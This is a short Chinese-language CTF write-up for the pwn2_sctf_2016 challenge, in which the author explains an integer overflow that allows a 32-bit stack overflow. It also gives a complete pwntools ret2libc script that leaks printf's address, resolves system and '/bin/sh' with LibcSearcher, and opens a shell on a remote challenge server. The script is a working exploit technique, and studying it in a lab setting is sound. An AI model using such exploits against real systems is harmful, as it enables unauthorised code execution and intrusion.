这道鬼题不难却卡了我好久,再前几天很久没好好学习生疏许多
老规矩checksec
只有栈不可执行
反编译结果
get_n是自己创造的一个函数
这其实就是在nptr这个缓冲区上进行操作然后的话
get_n(&nptr, v2);

这三个地方一起造成了栈溢出
所以这是一道整数溢出并且泄露libc的一道题目,泄露的函数就用printf
from pwn import *from LibcSearcher import*context(log_level = 'debug')#io = process("pwn2_sctf_2016")io = remote("node4.buuoj.cn",27531)#context.arch = "amd64"elf = ELF('pwn2_sctf_2016')offest = 0x2cmain_addr = elf.sym['main']printf_plt =elf.plt['printf']printf_got =elf.got['printf']io.recvuntil('How many bytes do you want me to read? ')io.sendline('-1')io.recvuntil('\n')payload = b'a'*(offest+4) +p32(printf_plt) + p32(main_addr) +p32(printf_got)#printf_addr =0xf7e4c680io.sendline(payload)io.recvuntil('\n')printf_addr = u32(io.recv(4))log.success('printf==>'+hex(printf_addr))libc=LibcSearcher('printf',printf_addr)libc_base = printf_addr-libc.dump('printf')system_addr = libc_base+libc.dump('system')sh_addr = libc_base+libc.dump("str_bin_sh")io.recvuntil('How many bytes do you want me to read? ')io.sendline('-1')io.recvuntil('\n')payload1= b'a'*(offest+4)+p32(system_addr)+b'aaaa'+p32(sh_addr)io.sendline(payload1)io.interactive()
本地的libc我已经很久没打通了,我要想办法加加本地的libc库,毕竟打比赛直接打服务器还会扣分
以后学好了想把elf.plt elf.got gdb 中的got好好写写
这道题和前面的heap题卡了好久了,还是太菜
